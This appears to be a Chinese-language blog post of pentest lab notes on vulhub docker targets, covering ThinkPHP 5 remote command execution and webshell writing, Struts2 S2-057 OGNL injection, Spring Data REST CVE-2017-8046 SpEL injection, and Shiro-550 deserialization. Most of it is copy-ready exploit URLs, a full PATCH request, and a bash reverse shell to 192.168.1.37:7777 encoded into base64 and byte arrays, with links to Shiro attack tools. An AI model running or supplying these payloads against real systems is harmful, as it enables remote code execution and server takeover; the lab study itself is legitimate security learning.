框架&中间件&CMS

Thinkphp

Thinkphp5x远程命令执行及getshell

靶场:vulhub/thinkphp/5-rce

下载docker apt install docker-compose

 

docker version   查看docker的版本信息
docker images   查看拥有的images
docker ps       查看docker container

 

下载编译vulhub靶机 git clone https://github.com/vulhub/vulhub.git

进入目录 /root/vulhub/thinkphp/5-rce

启动环境 docker-compose up -d

docker-compose build 
docker ps -a	查看容器
docker stop	d1fed24ff35e	停止容器
docker-compose up -d 	启动环境

浏览器访问 http://192.168.1.199:8080/index.php

远程命令执行

POC:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

远程代码执行

POC:

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

 

getshell

POC:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "" >>1.php

根目录生成1.php 文件,输出phpinfo 访问192.168.1.199/1.php

 

struts2

S2-057远程执行代码漏洞

kali vulhub靶场   /struts2/s2-057

docker-compose up -d

访问 http://192.168.1.199:8080/struts2-showcase

 

在url处输入 http://192.168.1.199:8080/struts2-showcase/${(123+123)}/actionChain1.action

后刷新可以看到中间数字位置相加了。

 

刷新界面抓包——转发到repeater

246换成

 

http://192.168.1.199:8080/struts2-showcase/%24%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('id')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action

 

把action/register2删掉——GO

 

id换成whoami

 

Spring

Spring Data Rest 远程命令执行命令(CVE-2017-8046)

环境

kali vulhub靶场 /spring/CVE-2017-8046

fofa:icon_hash="116323821"

漏洞简介

Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中,存在一处 SpEL 表达式注入漏洞,攻击者可以注入恶意 SpEL 表达式以执行任意命令。

影响版本

Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 – 2.6.10(Ingalls SR10)
Spring Data Commons 2.0 – 2.0.5 (Kay SR5)
Spring Data REST 3.0 – 3.0.5(Kay SR5)
官方已经不支持的旧版本

访问http://192.168.1.37:8080/login

 

http://192.168.1.37:8080/customers/1 抓包修改

GET改为PATCH

添加Content-Type: application/json-patch+json

添加[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

 

PATCH /customers/1 HTTP/1.1
Host: 192.168.1.37:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/json-patch+json
Cookie: JSESSIONID=D81A37ACC5D0088A5F1F0966A251B92F
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 17 Mar 2022 08:32:07 GMT
If-None-Match: "0"
Cache-Control: max-age=0
Content-Length: 200

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

 

 

修改一下需要执行的反弹shell的命令:bash -i >& /dev/tcp/192.168.1.37/7777 0>&1

在以下网站进行编码 https://jackson-t.ca/runtime-exec-payloads.html

结果为:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMzcvNzc3NyAwPiYxCg==}|{base64,-d}|{bash,-i}

 

然后再转ascii,终端打开python

 payload = b'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMzcvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}'
 bytecode = ','.join(str(i) for i in list(payload))
 print(bytecode)

 

结果为

98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,117,77,122,99,118,78,122,99,51,78,121,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

 

下面使用payload进行测试,照常理,我们需要先在自己的服务器开启监听,然后再发送payload:

nc -lvp 7777

发送如下payload,其中,exec后面执行的编码替换为你生成的ascii命令

 

Shiro

恶意命令-->序列化-->AES加密-->base64编码-->发送Cookie

Shiro漏洞指纹

响应包中存在字段set-Cookie: rememberMe=deleteMe

Shiro rememberMe反序列化漏洞(Shiro-550)

漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

影响版本

Apache Shiro < 1.2.4

环境

kali vulhub靶场 /shiro/CVE-2016-4437

抓包,转发repeater

 

Burp Shiro 漏洞检测插件

BurpShiroPassiveScan:https://github.com/pmiaowu/BurpShiroPassiveScan/releases/tag/BurpShiroPassiveScan-1.7.6

在BurpSuite的扩展(Extend)中安装并启动Shiro检测插件

重新抓包

当BurpSuite抓取到Shiro的数据包时会自动进行检测Key,当发现存在Shiro默认key时会有相应的告警

 

命令执行

利用工具,命令执行:

shiro_attack_2.2工具:https://github.com/j1anFen/shiro_attack/releases/tag/2.2

 

反弹shell

工具:https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/tag/v2.51

 

反弹shell,ubuntu开启nc监听:

再次Fire

 

 

 

 

posted @ 2022-03-17 17:26  檐下月  阅读(284)  评论(0)    收藏  举报